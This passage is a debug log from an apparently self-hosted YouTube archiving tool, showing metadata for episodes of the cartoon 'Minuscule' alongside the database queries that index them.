"https://www.youtube.com/watch?v=wD3ffbiAo1s", "playlist_index" => 103, "title" => "youtube video #wD3ffbiAo1s"} 00:53:12.418 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:12.418 [debug] Current batch of media processed. Will check again in 1000ms 00:53:13.420 [debug] Current batch of media processed. Will check again in 1000ms 00:53:14.421 [debug] Current batch of media processed. Will check again in 1000ms 00:53:15.422 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 336, "filename" => "/downloads/Miniscule Season 1/2020-01-21 Minuscule - Coccinelles⧸Lady Bugs (Season 1)/Minuscule - Coccinelles⧸Lady Bugs (Season 1) [2-scQE56xuA].mp4", "id" => "2-scQE56xuA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-scQE56xuA", "playlist_index" => 104, "timestamp" => 1579620600, "title" => "Minuscule - Coccinelles/Lady Bugs (Season 1)", "upload_date" => "20200121"} 00:53:15.423 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1777.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:15.424 [debug] QUERY OK source="sources" db=0.4ms idle=1779.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:15.426 [debug] QUERY OK source="media_items" db=1.0ms idle=1706.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-21 15:30:00Z], 4] 00:53:15.439 [debug] QUERY OK source="media_items" db=12.3ms idle=781.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coccinelles/Lady Bugs (Season 1)", "2b4d0c55-a67c-4161-892c-5b08f8b3842a", "2-scQE56xuA", 336, false, 4, "https://www.youtube.com/watch?v=2-scQE56xuA", 104, "/downloads/Miniscule Season 1/2020-01-21 Minuscule - Coccinelles⧸Lady Bugs (Season 1)/Minuscule - Coccinelles⧸Lady Bugs (Season 1) [2-scQE56xuA].mp4", false, false, false, [], 1, ~U[2020-01-21 15:30:00Z], ~U[2025-12-14 07:53:15Z], ~U[2025-12-14 07:53:15Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coccinelles/Lady Bugs (Season 1)", "2-scQE56xuA", 336, false, 4, "https://www.youtube.com/watch?v=2-scQE56xuA", "/downloads/Miniscule Season 1/2020-01-21 Minuscule - Coccinelles⧸Lady Bugs (Season 1)/Minuscule - Coccinelles⧸Lady Bugs (Season 1) [2-scQE56xuA].mp4", false, ~U[2020-01-21 15:30:00Z]] 00:53:15.440 [debug] QUERY OK source="sources" db=0.6ms idle=719.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:15.441 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=16.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:15.442 [debug] QUERY OK source="media_items" db=0.5ms idle=17.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89101] 00:53:15.442 [debug] Current batch of media processed. Will check again in 1000ms 00:53:16.443 [debug] Current batch of media processed. Will check again in 1000ms 00:53:17.444 [debug] Current batch of media processed. Will check again in 1000ms 00:53:18.445 [debug] Current batch of media processed. Will check again in 1000ms 00:53:19.446 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 336, "filename" => "/downloads/Miniscule Season 1/2020-01-14 Minuscule - mouche folle⧸Mad Fly (Season 1)/Minuscule - mouche folle⧸Mad Fly (Season 1) [nm5pyLTU7j8].mp4", "id" => "nm5pyLTU7j8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nm5pyLTU7j8", "playlist_index" => 105, "timestamp" => 1579015802, "title" => "Minuscule - mouche folle/Mad Fly (Season 1)", "upload_date" => "20200114"} 00:53:19.447 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=801.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:19.448 [debug] QUERY OK source="sources" db=0.2ms idle=802.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:19.449 [debug] QUERY OK source="media_items" db=0.8ms idle=803.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-14 15:30:02Z], 4] 00:53:19.468 [debug] QUERY OK source="media_items" db=18.7ms idle=804.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mouche folle/Mad Fly (Season 1)", "8e2e16fa-162b-47b4-b676-d62ddee0df65", "nm5pyLTU7j8", 336, false, 4, "https://www.youtube.com/watch?v=nm5pyLTU7j8", 105, "/downloads/Miniscule Season 1/2020-01-14 Minuscule - mouche folle⧸Mad Fly (Season 1)/Minuscule - mouche folle⧸Mad Fly (Season 1) [nm5pyLTU7j8].mp4", false, false, false, [], 1, ~U[2020-01-14 15:30:02Z], ~U[2025-12-14 07:53:19Z], ~U[2025-12-14 07:53:19Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mouche folle/Mad Fly (Season 1)", "nm5pyLTU7j8", 336, false, 4, "https://www.youtube.com/watch?v=nm5pyLTU7j8", "/downloads/Miniscule Season 1/2020-01-14 Minuscule - mouche folle⧸Mad Fly (Season 1)/Minuscule - mouche folle⧸Mad Fly (Season 1) [nm5pyLTU7j8].mp4", false, ~U[2020-01-14 15:30:02Z]] 00:53:19.469 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=740.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:19.470 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=22.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:19.471 [debug] QUERY OK source="media_items" db=0.5ms idle=22.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89103] 00:53:19.471 [debug] Current batch of media processed. Will check again in 1000ms 00:53:20.472 [debug] Current batch of media processed. Will check again in 1000ms 00:53:21.473 [debug] Current batch of media processed. Will check again in 1000ms 00:53:22.474 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 340, "filename" => "/downloads/Miniscule Season 1/2020-01-07 Minuscule - le convoi⧸The Convoy (Season 1)/Minuscule - le convoi⧸The Convoy (Season 1) [xHjw46YDgpw].mp4", "id" => "xHjw46YDgpw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xHjw46YDgpw", "playlist_index" => 106, "timestamp" => 1578411002, "title" => "Minuscule - le convoi/The Convoy (Season 1)", "upload_date" => "20200107"} 00:53:22.475 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1829.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:22.476 [debug] QUERY OK source="sources" db=0.3ms idle=1830.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:22.478 [debug] QUERY OK source="media_items" db=1.0ms idle=1831.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-07 15:30:02Z], 4] 00:53:22.481 [debug] QUERY OK source="media_items" db=2.2ms idle=1746.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le convoi/The Convoy (Season 1)", "4796faa3-ebb0-4af1-adba-4bb10772f2bd", "xHjw46YDgpw", 340, false, 4, "https://www.youtube.com/watch?v=xHjw46YDgpw", 106, "/downloads/Miniscule Season 1/2020-01-07 Minuscule - le convoi⧸The Convoy (Season 1)/Minuscule - le convoi⧸The Convoy (Season 1) [xHjw46YDgpw].mp4", false, false, false, [], 1, ~U[2020-01-07 15:30:02Z], ~U[2025-12-14 07:53:22Z], ~U[2025-12-14 07:53:22Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le convoi/The Convoy (Season 1)", "xHjw46YDgpw", 340, false, 4, "https://www.youtube.com/watch?v=xHjw46YDgpw", "/downloads/Miniscule Season 1/2020-01-07 Minuscule - le convoi⧸The Convoy (Season 1)/Minuscule - le convoi⧸The Convoy (Season 1) [xHjw46YDgpw].mp4", false, ~U[2020-01-07 15:30:02Z]] 00:53:22.481 [debug] QUERY OK source="sources" db=0.3ms idle=747.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:22.482 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:22.483 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89105] 00:53:22.483 [debug] Current batch of media processed. Will check again in 1000ms 00:53:23.484 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #5Fn5OGThIjc/youtube video #5Fn5OGThIjc [5Fn5OGThIjc].NA", "id" => "5Fn5OGThIjc", "original_url" => "https://www.youtube.com/watch?v=5Fn5OGThIjc", "playlist_index" => 107, "title" => "youtube video #5Fn5OGThIjc"} 00:53:23.485 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:23.485 [debug] Current batch of media processed. Will check again in 1000ms 00:53:24.487 [debug] Current batch of media processed. Will check again in 1000ms 00:53:25.488 [debug] Current batch of media processed. Will check again in 1000ms 00:53:26.489 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 337, "filename" => "/downloads/Miniscule Season 1/2019-12-24 Minuscule - mon beau sapin⧸O Tannenbaum (season 1)/Minuscule - mon beau sapin⧸O Tannenbaum (season 1) [KbxvadhXSZ0].mp4", "id" => 